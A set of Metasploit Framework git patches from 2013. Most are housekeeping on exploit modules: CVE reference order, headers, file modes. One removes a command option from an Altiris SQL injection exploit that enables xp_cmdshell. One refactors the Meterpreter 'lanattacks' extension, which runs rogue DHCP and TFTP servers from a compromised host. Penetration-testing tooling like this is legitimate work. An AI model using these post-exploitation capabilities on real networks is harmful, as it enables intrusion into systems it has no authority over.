modules/exploits/multi/http/nas4free_php_exec.rb | 4 ++-- modules/exploits/multi/http/openmediavault_cmd_exec.rb | 4 ++-- modules/exploits/multi/http/zabbix_script_exec.rb | 4 ++-- 6 files changed, 11 insertions(+), 11 deletions(-) diff --git a/modules/auxiliary/admin/http/openbravo_xxe.rb b/modules/auxiliary/admin/http/openbravo_xxe.rb index 83b91cd3e6..1927673680 100644 --- a/modules/auxiliary/admin/http/openbravo_xxe.rb +++ b/modules/auxiliary/admin/http/openbravo_xxe.rb @@ -29,8 +29,8 @@ class Metasploit4 < Msf::Auxiliary ], 'References' => [ - ['URL', 'https://community.rapid7.com/community/metasploit/blog/2013/10/30/seven-tricks-and-treats'], - ['CVE', '2013-3617'] + ['CVE', '2013-3617'], + ['URL', 'https://community.rapid7.com/community/metasploit/blog/2013/10/30/seven-tricks-and-treats'] ], 'License' => MSF_LICENSE, 'DisclosureDate' => 'Oct 30 2013' diff --git a/modules/exploits/multi/http/ispconfig_php_exec.rb b/modules/exploits/multi/http/ispconfig_php_exec.rb index d2bc3c3065..8c81bbf63d 100644 --- a/modules/exploits/multi/http/ispconfig_php_exec.rb +++ b/modules/exploits/multi/http/ispconfig_php_exec.rb @@ -27,8 +27,8 @@ class Metasploit4 < Msf::Exploit::Remote 'License' => MSF_LICENSE, 'References' => [ - ['URL', 'https://community.rapid7.com/community/metasploit/blog/2013/10/30/seven-tricks-and-treats'], - ['CVE', '2013-3629'] + ['CVE', '2013-3629'], + ['URL', 'https://community.rapid7.com/community/metasploit/blog/2013/10/30/seven-tricks-and-treats'] ], 'Privileged' => false, 'Platform' => ['php'], diff --git a/modules/exploits/multi/http/moodle_cmd_exec.rb b/modules/exploits/multi/http/moodle_cmd_exec.rb index 808fa2c215..b73d0ecb50 100644 --- a/modules/exploits/multi/http/moodle_cmd_exec.rb +++ b/modules/exploits/multi/http/moodle_cmd_exec.rb @@ -35,8 +35,8 @@ class Metasploit4 < Msf::Exploit::Remote ], 'References' => [ - ['EDB', '28174'], #xss vuln allowing sesskey of admins to be stolen ['CVE', '2013-3630'], + ['EDB', '28174'], #xss vuln allowing sesskey of admins to be stolen ['URL', 'https://community.rapid7.com/community/metasploit/blog/2013/10/30/seven-tricks-and-treats'] ], 'Payload' => diff --git a/modules/exploits/multi/http/nas4free_php_exec.rb b/modules/exploits/multi/http/nas4free_php_exec.rb index b04ca56e71..43699753d9 100644 --- a/modules/exploits/multi/http/nas4free_php_exec.rb +++ b/modules/exploits/multi/http/nas4free_php_exec.rb @@ -26,8 +26,8 @@ class Metasploit4 < Msf::Exploit::Remote 'License' => MSF_LICENSE, 'References' => [ - ['URL', 'https://community.rapid7.com/community/metasploit/blog/2013/10/30/seven-tricks-and-treats'], - ['CVE', '2013-3631'] + ['CVE', '2013-3631'], + ['URL', 'https://community.rapid7.com/community/metasploit/blog/2013/10/30/seven-tricks-and-treats'] ], 'Payload' => { diff --git a/modules/exploits/multi/http/openmediavault_cmd_exec.rb b/modules/exploits/multi/http/openmediavault_cmd_exec.rb index b5b6a7f1de..2cd82930e9 100644 --- a/modules/exploits/multi/http/openmediavault_cmd_exec.rb +++ b/modules/exploits/multi/http/openmediavault_cmd_exec.rb @@ -25,8 +25,8 @@ class Metasploit3 < Msf::Exploit::Remote ], 'References' => [ - ['URL', 'https://community.rapid7.com/community/metasploit/blog/2013/10/30/seven-tricks-and-treats'], - ['CVE', '2013-3632'] + ['CVE', '2013-3632'], + ['URL', 'https://community.rapid7.com/community/metasploit/blog/2013/10/30/seven-tricks-and-treats'] ], 'Privileged' => true, 'DefaultOptions' => { 'WfsDelay' => 60 }, diff --git a/modules/exploits/multi/http/zabbix_script_exec.rb b/modules/exploits/multi/http/zabbix_script_exec.rb index 30e5eb937e..53bc8c0528 100644 --- a/modules/exploits/multi/http/zabbix_script_exec.rb +++ b/modules/exploits/multi/http/zabbix_script_exec.rb @@ -27,8 +27,8 @@ class Metasploit4 < Msf::Exploit::Remote ], 'References' => [ - ['URL', 'https://community.rapid7.com/community/metasploit/blog/2013/10/30/seven-tricks-and-treats'], - ['CVE', '2013-3628'] + ['CVE', '2013-3628'], + ['URL', 'https://community.rapid7.com/community/metasploit/blog/2013/10/30/seven-tricks-and-treats'] ], 'Payload' => { From 98224ee89f621519c5ce20899cc701d15f77bdcc Mon Sep 17 00:00:00 2001 From: Tod Beardsley Date: Wed, 30 Oct 2013 13:48:35 -0500 Subject: [PATCH 370/409] CVE update for vtiger issue --- modules/exploits/multi/http/vtiger_php_exec.rb | 1 + 1 file changed, 1 insertion(+) diff --git a/modules/exploits/multi/http/vtiger_php_exec.rb b/modules/exploits/multi/http/vtiger_php_exec.rb index 02419cbe2c..81bdaf39c2 100644 --- a/modules/exploits/multi/http/vtiger_php_exec.rb +++ b/modules/exploits/multi/http/vtiger_php_exec.rb @@ -27,6 +27,7 @@ class Metasploit3 < Msf::Exploit::Remote 'License' => MSF_LICENSE, 'References' => [ + ['CVE', '2013-3591'], ['URL', 'https://community.rapid7.com/community/metasploit/blog/2013/10/30/seven-tricks-and-treats'] ], 'Privileged' => false, From e488a54a06b8caead3b1b0bdea4856092219f8ab Mon Sep 17 00:00:00 2001 From: Tod Beardsley Date: Wed, 30 Oct 2013 15:14:16 -0500 Subject: [PATCH 371/409] Resplat new WMI module --- modules/exploits/windows/local/wmi.rb | 6 ++---- 1 file changed, 2 insertions(+), 4 deletions(-) diff --git a/modules/exploits/windows/local/wmi.rb b/modules/exploits/windows/local/wmi.rb index f23faad415..d40d33e886 100644 --- a/modules/exploits/windows/local/wmi.rb +++ b/modules/exploits/windows/local/wmi.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' From 900ccc7ec94585ab8bd79544ed33b18e4dd1cb0e Mon Sep 17 00:00:00 2001 From: Tod Beardsley Date: Wed, 30 Oct 2013 15:34:23 -0500 Subject: [PATCH 372/409] VISUAL is okay. Also doesn't need to be a path. I don't believe this opens an untoward attack vector -- if your attacker can run Metasploit locally, you have much bigger problems. --- lib/msf/ui/console/command_dispatcher/core.rb | 10 +++------- 1 file changed, 3 insertions(+), 7 deletions(-) diff --git a/lib/msf/ui/console/command_dispatcher/core.rb b/lib/msf/ui/console/command_dispatcher/core.rb index 65e0af6b64..b9960a61f1 100644 --- a/lib/msf/ui/console/command_dispatcher/core.rb +++ b/lib/msf/ui/console/command_dispatcher/core.rb @@ -107,7 +107,7 @@ class Core "connect" => "Communicate with a host", "color" => "Toggle color", "exit" => "Exit the console", - "edit" => "Edit the current module with $EDITOR", + "edit" => "Edit the current module with $VISUAL or $EDITOR", "go_pro" => "Launch Metasploit web GUI", "grep" => "Grep the output of another command", "help" => "Help menu", @@ -634,7 +634,7 @@ class Core def cmd_edit_help msg = "Edit the currently active module" - msg = "#{msg} #{local_editor ? "with #{local_editor}" : "($EDITOR must be set first)"}." + msg = "#{msg} #{local_editor ? "with #{local_editor}" : "($VISUAL or $EDITOR must be set first)"}." print_line "Usage: edit" print_line print_line msg @@ -647,11 +647,7 @@ class Core # def cmd_edit unless local_editor - print_error "$EDITOR must be set first. Try 'export EDITOR=/usr/bin/vim'" - return - end - unless ::File.executable_real? local_editor - print_error "#{local_editor} doesn't seem to be executable by you." + print_error "$VISUAL or $EDITOR must be set first. Try 'export EDITOR=/usr/bin/vim'" return end if active_module From f5d1d8eacee7e11255e02ae38c4780cf4f8a642a Mon Sep 17 00:00:00 2001 From: William Vu Date: Wed, 30 Oct 2013 19:51:25 -0500 Subject: [PATCH 373/409] chmod -x .rb files without #! in modules and lib It wasn't just cmdstager_printf.rb. :/ --- lib/msf/core/encoded_payload.rb | 0 lib/msf/util/exe.rb | 0 lib/rex/exploitation/cmdstager/printf.rb | 0 lib/zip/ioextras.rb | 0 lib/zip/stdrubyext.rb | 0 lib/zip/tempfile_bugfixed.rb | 0 lib/zip/zip.rb | 0 lib/zip/zipfilesystem.rb | 0 lib/zip/ziprequire.rb | 0 modules/auxiliary/dos/sap/sap_soap_rfc_eps_delete_file.rb | 0 modules/auxiliary/gather/external_ip.rb | 0 modules/auxiliary/scanner/http/jenkins_enum.rb | 0 modules/auxiliary/scanner/sap/sap_smb_relay.rb | 0 modules/auxiliary/scanner/sap/sap_soap_bapi_user_create1.rb | 0 modules/auxiliary/scanner/sap/sap_soap_rfc_ping.rb | 0 modules/auxiliary/scanner/sap/sap_soap_rfc_read_table.rb | 0 modules/auxiliary/scanner/sap/sap_soap_rfc_rzl_read_dir.rb | 0 .../auxiliary/scanner/sap/sap_soap_rfc_susr_rfc_user_interface.rb | 0 .../auxiliary/scanner/sap/sap_soap_rfc_sxpg_call_system_exec.rb | 0 modules/auxiliary/scanner/sap/sap_soap_rfc_sxpg_command_exec.rb | 0 modules/auxiliary/scanner/sap/sap_soap_rfc_system_info.rb | 0 modules/auxiliary/scanner/sap/sap_soap_th_saprel_disclosure.rb | 0 modules/encoders/x86/add_sub.rb | 0 modules/exploits/multi/http/hp_sys_mgmt_exec.rb | 0 modules/exploits/multi/sap/sap_soap_rfc_sxpg_command_exec.rb | 0 modules/exploits/unix/webapp/instantcms_exec.rb | 0 modules/payloads/stages/linux/armle/shell.rb | 0 27 files changed, 0 insertions(+), 0 deletions(-) mode change 100755 => 100644 lib/msf/core/encoded_payload.rb mode change 100755 => 100644 lib/msf/util/exe.rb mode change 100755 => 100644 lib/rex/exploitation/cmdstager/printf.rb mode change 100755 => 100644 lib/zip/ioextras.rb mode change 100755 => 100644 lib/zip/stdrubyext.rb mode change 100755 => 100644 lib/zip/tempfile_bugfixed.rb mode change 100755 => 100644 lib/zip/zip.rb mode change 100755 => 100644 lib/zip/zipfilesystem.rb mode change 100755 => 100644 lib/zip/ziprequire.rb mode change 100755 => 100644 modules/auxiliary/dos/sap/sap_soap_rfc_eps_delete_file.rb mode change 100755 => 100644 modules/auxiliary/gather/external_ip.rb mode change 100755 => 100644 modules/auxiliary/scanner/http/jenkins_enum.rb mode change 100755 => 100644 modules/auxiliary/scanner/sap/sap_smb_relay.rb mode change 100755 => 100644 modules/auxiliary/scanner/sap/sap_soap_bapi_user_create1.rb mode change 100755 => 100644 modules/auxiliary/scanner/sap/sap_soap_rfc_ping.rb mode change 100755 => 100644 modules/auxiliary/scanner/sap/sap_soap_rfc_read_table.rb mode change 100755 => 100644 modules/auxiliary/scanner/sap/sap_soap_rfc_rzl_read_dir.rb mode change 100755 => 100644 modules/auxiliary/scanner/sap/sap_soap_rfc_susr_rfc_user_interface.rb mode change 100755 => 100644 modules/auxiliary/scanner/sap/sap_soap_rfc_sxpg_call_system_exec.rb mode change 100755 => 100644 modules/auxiliary/scanner/sap/sap_soap_rfc_sxpg_command_exec.rb mode change 100755 => 100644 modules/auxiliary/scanner/sap/sap_soap_rfc_system_info.rb mode change 100755 => 100644 modules/auxiliary/scanner/sap/sap_soap_th_saprel_disclosure.rb mode change 100755 => 100644 modules/encoders/x86/add_sub.rb mode change 100755 => 100644 modules/exploits/multi/http/hp_sys_mgmt_exec.rb mode change 100755 => 100644 modules/exploits/multi/sap/sap_soap_rfc_sxpg_command_exec.rb mode change 100755 => 100644 modules/exploits/unix/webapp/instantcms_exec.rb mode change 100755 => 100644 modules/payloads/stages/linux/armle/shell.rb diff --git a/lib/msf/core/encoded_payload.rb b/lib/msf/core/encoded_payload.rb old mode 100755 new mode 100644 diff --git a/lib/msf/util/exe.rb b/lib/msf/util/exe.rb old mode 100755 new mode 100644 diff --git a/lib/rex/exploitation/cmdstager/printf.rb b/lib/rex/exploitation/cmdstager/printf.rb old mode 100755 new mode 100644 diff --git a/lib/zip/ioextras.rb b/lib/zip/ioextras.rb old mode 100755 new mode 100644 diff --git a/lib/zip/stdrubyext.rb b/lib/zip/stdrubyext.rb old mode 100755 new mode 100644 diff --git a/lib/zip/tempfile_bugfixed.rb b/lib/zip/tempfile_bugfixed.rb old mode 100755 new mode 100644 diff --git a/lib/zip/zip.rb b/lib/zip/zip.rb old mode 100755 new mode 100644 diff --git a/lib/zip/zipfilesystem.rb b/lib/zip/zipfilesystem.rb old mode 100755 new mode 100644 diff --git a/lib/zip/ziprequire.rb b/lib/zip/ziprequire.rb old mode 100755 new mode 100644 diff --git a/modules/auxiliary/dos/sap/sap_soap_rfc_eps_delete_file.rb b/modules/auxiliary/dos/sap/sap_soap_rfc_eps_delete_file.rb old mode 100755 new mode 100644 diff --git a/modules/auxiliary/gather/external_ip.rb b/modules/auxiliary/gather/external_ip.rb old mode 100755 new mode 100644 diff --git a/modules/auxiliary/scanner/http/jenkins_enum.rb b/modules/auxiliary/scanner/http/jenkins_enum.rb old mode 100755 new mode 100644 diff --git a/modules/auxiliary/scanner/sap/sap_smb_relay.rb b/modules/auxiliary/scanner/sap/sap_smb_relay.rb old mode 100755 new mode 100644 diff --git a/modules/auxiliary/scanner/sap/sap_soap_bapi_user_create1.rb b/modules/auxiliary/scanner/sap/sap_soap_bapi_user_create1.rb old mode 100755 new mode 100644 diff --git a/modules/auxiliary/scanner/sap/sap_soap_rfc_ping.rb b/modules/auxiliary/scanner/sap/sap_soap_rfc_ping.rb old mode 100755 new mode 100644 diff --git a/modules/auxiliary/scanner/sap/sap_soap_rfc_read_table.rb b/modules/auxiliary/scanner/sap/sap_soap_rfc_read_table.rb old mode 100755 new mode 100644 diff --git a/modules/auxiliary/scanner/sap/sap_soap_rfc_rzl_read_dir.rb b/modules/auxiliary/scanner/sap/sap_soap_rfc_rzl_read_dir.rb old mode 100755 new mode 100644 diff --git a/modules/auxiliary/scanner/sap/sap_soap_rfc_susr_rfc_user_interface.rb b/modules/auxiliary/scanner/sap/sap_soap_rfc_susr_rfc_user_interface.rb old mode 100755 new mode 100644 diff --git a/modules/auxiliary/scanner/sap/sap_soap_rfc_sxpg_call_system_exec.rb b/modules/auxiliary/scanner/sap/sap_soap_rfc_sxpg_call_system_exec.rb old mode 100755 new mode 100644 diff --git a/modules/auxiliary/scanner/sap/sap_soap_rfc_sxpg_command_exec.rb b/modules/auxiliary/scanner/sap/sap_soap_rfc_sxpg_command_exec.rb old mode 100755 new mode 100644 diff --git a/modules/auxiliary/scanner/sap/sap_soap_rfc_system_info.rb b/modules/auxiliary/scanner/sap/sap_soap_rfc_system_info.rb old mode 100755 new mode 100644 diff --git a/modules/auxiliary/scanner/sap/sap_soap_th_saprel_disclosure.rb b/modules/auxiliary/scanner/sap/sap_soap_th_saprel_disclosure.rb old mode 100755 new mode 100644 diff --git a/modules/encoders/x86/add_sub.rb b/modules/encoders/x86/add_sub.rb old mode 100755 new mode 100644 diff --git a/modules/exploits/multi/http/hp_sys_mgmt_exec.rb b/modules/exploits/multi/http/hp_sys_mgmt_exec.rb old mode 100755 new mode 100644 diff --git a/modules/exploits/multi/sap/sap_soap_rfc_sxpg_command_exec.rb b/modules/exploits/multi/sap/sap_soap_rfc_sxpg_command_exec.rb old mode 100755 new mode 100644 diff --git a/modules/exploits/unix/webapp/instantcms_exec.rb b/modules/exploits/unix/webapp/instantcms_exec.rb old mode 100755 new mode 100644 diff --git a/modules/payloads/stages/linux/armle/shell.rb b/modules/payloads/stages/linux/armle/shell.rb old mode 100755 new mode 100644 From 5c923757e8e17a32ff2baee05ea4b58afc362b92 Mon Sep 17 00:00:00 2001 From: root Date: Wed, 30 Oct 2013 21:35:24 -0400 Subject: [PATCH 374/409] Removed generic command execution capability --- modules/exploits/windows/mssql/altiris_ds_sqli.rb | 15 +++------------ 1 file changed, 3 insertions(+), 12 deletions(-) diff --git a/modules/exploits/windows/mssql/altiris_ds_sqli.rb b/modules/exploits/windows/mssql/altiris_ds_sqli.rb index 44a462c1a0..6f40c1ae34 100644 --- a/modules/exploits/windows/mssql/altiris_ds_sqli.rb +++ b/modules/exploits/windows/mssql/altiris_ds_sqli.rb @@ -23,7 +23,8 @@ class Metasploit3 < Msf::Exploit::Remote in close succession, first to enable xp_cmdshell, then retrieve the payload via TFTP and finally execute it... you may have to be patient. The module also has the capability to disable/enable local application authentication. This vulnerability was originally - found by Brett Moore of Insomnia Security, the exploit was authored by 3v0lver. + found by Brett Moore of Insomnia Security, the exploit and console security toggle were + authored by 3v0lver. }, 'Author' => [ @@ -58,8 +59,7 @@ class Metasploit3 < Msf::Exploit::Remote register_options( [ Opt::RPORT(402), - OptString.new('CMD', [ false, 'Execute this command instead of using command stager', "" ]), - OptBool.new('XP_CMDSHELL', [ false, 'Enable xp_cmdshell prior to sending command', true]), + OptBool.new('XP_CMDSHELL', [ false, 'Enable xp_cmdshell prior to exploit', true]), OptBool.new('DISABLE_SECURITY', [ false, "Exploit SQLi to execute wc_upd_disable_security and disable Console Authentication", false ]), OptBool.new('ENABLE_SECURITY', [ false, "Enable Local Deployment Console Authentication", false ]) ], self.class) @@ -183,21 +183,12 @@ Processor-Speed=2659 end def exploit - if not datastore['CMD'].empty? - print_status("Executing command '#{datastore['CMD']}'") - execute_command(datastore['CMD']) - return - elsif datastore['DISABLE_SECURITY'] == true || datastore['ENABLE_SECURITY'] == true - execute_command(datastore['CMD']) - return - else case target['Platform'] when 'win' windows_stager else fail_with(Failure::Unknown, 'Target not supported.') end - end end From ff780820049a8726676a0b659824155ed5455ee3 Mon Sep 17 00:00:00 2001 From: OJ Date: Mon, 4 Nov 2013 17:37:42 +1000 Subject: [PATCH 375/409] Refactor lanattacks ruby code, add command dispatcher The lanattacks module didn't seem to have a command dispatcher, and hence loading the module would always result in a failure. This commit fixes this problem. The commit contains a bit of a refactor of the lanattacks code to be a little more modular. It also has a shiny new dispatcher which breaks the DHCP and TFTP functionality up into separate areas. --- .../extensions/lanattacks/dhcp/dhcp.rb | 79 ++++++ .../extensions/lanattacks/lanattacks.rb | 89 ++---- .../extensions/lanattacks/tftp/tftp.rb | 50 ++++ .../meterpreter/extensions/lanattacks/tlv.rb | 8 +- .../console/command_dispatcher/lanattacks.rb | 60 +++++ .../command_dispatcher/lanattacks/dhcp.rb | 254 ++++++++++++++++++ .../command_dispatcher/lanattacks/tftp.rb | 159 +++++++++++ 7 files changed, 623 insertions(+), 76 deletions(-) create mode 100644 lib/rex/post/meterpreter/extensions/lanattacks/dhcp/dhcp.rb create mode 100644 lib/rex/post/meterpreter/extensions/lanattacks/tftp/tftp.rb create mode 100644 lib/rex/post/meterpreter/ui/console/command_dispatcher/lanattacks.rb create mode 100644 lib/rex/post/meterpreter/ui/console/command_dispatcher/lanattacks/dhcp.rb create mode 100644 lib/rex/post/meterpreter/ui/console/command_dispatcher/lanattacks/tftp.rb diff --git a/lib/rex/post/meterpreter/extensions/lanattacks/dhcp/dhcp.rb b/lib/rex/post/meterpreter/extensions/lanattacks/dhcp/dhcp.rb new file mode 100644 index 0000000000..9be664d456 --- /dev/null +++ b/lib/rex/post/meterpreter/extensions/lanattacks/dhcp/dhcp.rb @@ -0,0 +1,79 @@ +#!/usr/bin/env ruby +# -*- coding: binary -*- + +require 'rex/post/meterpreter/extensions/lanattacks/tlv' + +module Rex +module Post +module Meterpreter +module Extensions +module Lanattacks +module Dhcp + +### +# +# DHCP Server functionality +# +### +class Dhcp + + def initialize(client) + @client = client + end + + def start + client.send_request(Packet.create_request('lanattacks_start_dhcp')) + true + end + + def reset + client.send_request(Packet.create_request('lanattacks_reset_dhcp')) + true + end + + def set_option(name, value) + request = Packet.create_request('lanattacks_set_dhcp_option') + request.add_tlv(TLV_TYPE_LANATTACKS_OPTION_NAME, name) + request.add_tlv(TLV_TYPE_LANATTACKS_OPTION, value) + client.send_request(request) + true + end + + def load_options(datastore) + # TODO: change this so that all of the options are set in a single + # payload rather than firing off lots of calls separately + datastore.each do |name, value| + if Regexp.new('DHCPIPSTART|DHCPIPEND|NETMASK|ROUTER|DNSSERVER|BROADCAST|'+ + 'SERVEONCE|PXE|HOSTNAME|HOSTSTART|FILENAME|PXECONF|SRVHOST') =~ name + set_option(name, value) + end + end + end + + def stop + client.send_request(Packet.create_request('lanattacks_stop_dhcp')) + true + end + + def log + response = client.send_request(Packet.create_request('lanattacks_dhcp_log')) + entries = [] + if( response.result == 0 ) + log = response.get_tlv_value( TLV_TYPE_LANATTACKS_RAW ) + while log.length > 0 + mac = log.slice!(0..5) + ip = log.slice!(0..3) + entries << { + :mac => mac, + :ip => ip + } + end + end + entries + end + + attr_accessor :client + +end + +end; end; end; end; end; end diff --git a/lib/rex/post/meterpreter/extensions/lanattacks/lanattacks.rb b/lib/rex/post/meterpreter/extensions/lanattacks/lanattacks.rb index 6f8645a085..7c76faf6ab 100644 --- a/lib/rex/post/meterpreter/extensions/lanattacks/lanattacks.rb +++ b/lib/rex/post/meterpreter/extensions/lanattacks/lanattacks.rb @@ -2,6 +2,8 @@ # -*- coding: binary -*- require 'rex/post/meterpreter/extensions/lanattacks/tlv' +require 'rex/post/meterpreter/extensions/lanattacks/dhcp/dhcp' +require 'rex/post/meterpreter/extensions/lanattacks/tftp/tftp' module Rex module Post @@ -16,84 +18,27 @@ module Lanattacks ### class Lanattacks < Extension + # + # Initializes an instance of the standard API extension. + # def initialize(client) - super(client, 'lanattacks') + super(client, 'stdapi') + # Alias the following things on the client object so that they + # can be directly referenced client.register_extension_aliases( - [{ + [ + { 'name' => 'lanattacks', - 'ext' => self - },]) + 'ext' => ObjectAliases.new( + { + 'dhcp' => Rex::Post::Meterpreter::Extensions::Lanattacks::Dhcp::Dhcp.new(client), + 'tftp' => Rex::Post::Meterpreter::Extensions::Lanattacks::Tftp::Tftp.new(client) + }), + } + ]) end - def start_dhcp - client.send_request(Packet.create_request('lanattacks_start_dhcp')) - true - end - - def reset_dhcp - client.send_request(Packet.create_request('lanattacks_reset_dhcp')) - true - end - - def set_dhcp_option(name, value) - request = Packet.create_request('lanattacks_set_dhcp_option') - request.add_tlv(TLV_TYPE_LANATTACKS_OPTION_NAME, name) - request.add_tlv(TLV_TYPE_LANATTACKS_OPTION, value) - client.send_request(request) - true - end - - def load_dhcp_options(datastore) - datastore.each do |name, value| - if Regexp.new('DHCPIPSTART|DHCPIPEND|NETMASK|ROUTER|DNSSERVER|BROADCAST|'+ - 'SERVEONCE|PXE|HOSTNAME|HOSTSTART|FILENAME|PXECONF|SRVHOST') =~ name - set_dhcp_option(name,value) - end - end - end - - def stop_dhcp - client.send_request(Packet.create_request('lanattacks_stop_dhcp')) - true - end - - def dhcp_log - response = client.send_request(Packet.create_request('lanattacks_dhcp_log')) - entries = [] - if( response.result == 0 ) - log = response.get_tlv_value( TLV_TYPE_LANATTACKS_RAW ) - while log.length > 0 - mac = log.slice!(0..5) - ip = log.slice!(0..3) - entries << [ mac, ip ] - end - end - entries - end - - def start_tftp - client.send_request(Packet.create_request('lanattacks_start_tftp')) - true - end - - def reset_tftp - client.send_request(Packet.create_request('lanattacks_reset_tftp')) - true - end - - def add_tftp_file(filename, data) - request = Packet.create_request('lanattacks_add_tftp_file') - request.add_tlv(TLV_TYPE_LANATTACKS_OPTION_NAME, filename) - request.add_tlv(TLV_TYPE_LANATTACKS_RAW, data, false, true) #compress it - client.send_request(request) - true - end - - def stop_tftp - client.send_request(Packet.create_request('lanattacks_stop_tftp')) - true - end end end; end; end; end; end diff --git a/lib/rex/post/meterpreter/extensions/lanattacks/tftp/tftp.rb b/lib/rex/post/meterpreter/extensions/lanattacks/tftp/tftp.rb new file mode 100644 index 0000000000..137136dd64 --- /dev/null +++ b/lib/rex/post/meterpreter/extensions/lanattacks/tftp/tftp.rb @@ -0,0 +1,50 @@ +#!/usr/bin/env ruby +# -*- coding: binary -*- + +require 'rex/post/meterpreter/extensions/lanattacks/tlv' + +module Rex +module Post +module Meterpreter +module Extensions +module Lanattacks +module Tftp + +### +# +# TFTP Server functionality +# +### +class Tftp + + def initialize(client) + @client = client + end + + def start + client.send_request(Packet.create_request('lanattacks_start_tftp')) + true + end + + def reset + client.send_request(Packet.create_request('lanattacks_reset_tftp')) + true + end + + def add_file(filename, data) + request = Packet.create_request('lanattacks_add_tftp_file') + request.add_tlv(TLV_TYPE_LANATTACKS_OPTION_NAME, filename) + request.add_tlv(TLV_TYPE_LANATTACKS_RAW, data, false, true) #compress it + client.send_request(request) + true + end + + def stop + client.send_request(Packet.create_request('lanattacks_stop_tftp')) + true + end + + attr_accessor :client +end + +end; end; end; end; end; end diff --git a/lib/rex/post/meterpreter/extensions/lanattacks/tlv.rb b/lib/rex/post/meterpreter/extensions/lanattacks/tlv.rb index 9cb61b5403..7a71196578 100644 --- a/lib/rex/post/meterpreter/extensions/lanattacks/tlv.rb +++ b/lib/rex/post/meterpreter/extensions/lanattacks/tlv.rb @@ -5,10 +5,10 @@ module Meterpreter module Extensions module Lanattacks -TLV_TYPE_LANATTACKS_OPTION = TLV_META_TYPE_RAW| (TLV_EXTENSIONS + 1) -TLV_TYPE_LANATTACKS_OPTION_NAME = TLV_META_TYPE_STRING| (TLV_EXTENSIONS + 2) -TLV_TYPE_LANATTACKS_UINT = TLV_META_TYPE_UINT| (TLV_EXTENSIONS + 3) -TLV_TYPE_LANATTACKS_RAW = TLV_META_TYPE_RAW| (TLV_EXTENSIONS + 4) +TLV_TYPE_LANATTACKS_OPTION = TLV_META_TYPE_RAW | (TLV_EXTENSIONS + 1) +TLV_TYPE_LANATTACKS_OPTION_NAME = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 2) +TLV_TYPE_LANATTACKS_UINT = TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 3) +TLV_TYPE_LANATTACKS_RAW = TLV_META_TYPE_RAW | (TLV_EXTENSIONS + 4) end end diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/lanattacks.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/lanattacks.rb new file mode 100644 index 0000000000..d345602297 --- /dev/null +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/lanattacks.rb @@ -0,0 +1,60 @@ +# -*- coding: binary -*- +require 'rex/post/meterpreter' + +module Rex +module Post +module Meterpreter +module Ui + +### +# +# Standard API extension. +# +### +class Console::CommandDispatcher::Lanattacks + + require 'rex/post/meterpreter/ui/console/command_dispatcher/lanattacks/dhcp' + require 'rex/post/meterpreter/ui/console/command_dispatcher/lanattacks/tftp' + + Klass = Console::CommandDispatcher::Lanattacks + + Dispatchers = + [ + Klass::Dhcp, + Klass::Tftp + ] + + include Console::CommandDispatcher + + # + # Initializes an instance of the stdapi command interaction. + # + def initialize(shell) + super + + Dispatchers.each { |d| + shell.enstack_dispatcher(d) + } + end + + # + # List of supported commands. + # + def commands + { + } + end + + # + # Name for this dispatcher + # + def name + "Lanattacks extension" + end + +end + +end +end +end +end diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/lanattacks/dhcp.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/lanattacks/dhcp.rb new file mode 100644 index 0000000000..11fe0790ac --- /dev/null +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/lanattacks/dhcp.rb @@ -0,0 +1,254 @@ +# -*- coding: binary -*- +require 'rex/post/meterpreter' + +module Rex +module Post +module Meterpreter +module Ui + +### +# +# The networking portion of the standard API extension. +# +### +class Console::CommandDispatcher::Lanattacks::Dhcp + + Klass = Console::CommandDispatcher::Lanattacks::Dhcp + + include Console::CommandDispatcher + + # + # List of supported commands. + # + def commands + all = { + "dhcp_start" => "Start the DHCP server", + "dhcp_stop" => "Stop the DHCP server", + "dhcp_reset" => "Reset the DHCP server", + "dhcp_set_option" => "Set a DHCP server option", + "dhcp_load_options" => "Load DHCP optionis from a datastore", + "dhcp_log" => "Log DHCP server activity" + } + + reqs = { + "dhcp_start" => [ "lanattacks_start_dhcp" ], + "dhcp_stop" => [ "lanattacks_stop_dhcp" ], + "dhcp_reset" => [ "lanattacks_reset_dhcp" ], + "dhcp_set_option" => [ "lanattacks_set_dhcp_option" ], + "dhcp_load_options" => [ "lanattacks_set_dhcp_option" ], + "dhcp_log" => [ "lanattacks_dhcp_log" ] + } + + all.delete_if do |cmd, desc| + del = false + reqs[cmd].each do |req| + next if client.commands.include? req + del = true + break + end + + del + end + + all + end + + # + # Name for this dispatcher. + # + def name + "Lanattacks: DHCP" + end + + @@dhcp_start_opts = Rex::Parser::Arguments.new( + "-h" => [ false, "Help banner." ]) + + def print_dhcp_start_usage + print("dhcp_start [-h]\n\n" + + "Starts a DHCP server in the current Meterpreter session.\n" + + @@dhcp_start_opts.usage + "\n") + end + + def cmd_dhcp_start(*args) + @@dhcp_start_opts.parse(args) { |opt, idx, val| + case opt + when '-h' + print_dhcp_start_usage + return true + end + } + + print_status( "Starting DHCP server ...") + client.lanattacks.dhcp.start + print_good( "DHCP server startd.") + end + + @@dhcp_stop_opts = Rex::Parser::Arguments.new( + "-h" => [ false, "Help banner." ]) + + def print_dhcp_stop_usage + print("dhcp_stop [-h]\n\n" + + "Stops the currently running DHCP server.\n" + + @@dhcp_stop_opts.usage + "\n") + end + + def cmd_dhcp_stop(*args) + @@dhcp_stop_opts.parse(args) { |opt, idx, val| + case opt + when '-h' + print_dhcp_stop_usage + return true + end + } + + print_status( "Stopping DHCP server ...") + client.lanattacks.dhcp.stop + print_good( "DHCP server stopped.") + end + + @@dhcp_reset_opts = Rex::Parser::Arguments.new( + "-h" => [ false, "Help banner." ]) + + def print_dhcp_reset_usage + print("dhcp_reset [-h]\n\n" + + "Resets the currently running DHCP server.\n" + + @@dhcp_reset_opts.usage + "\n") + end + + def cmd_dhcp_reset(*args) + @@dhcp_reset_opts.parse(args) { |opt, idx, val| + case opt + when '-h' + print_dhcp_reset_usage + return true + end + } + + print_status( "Resetting DHCP server ...") + 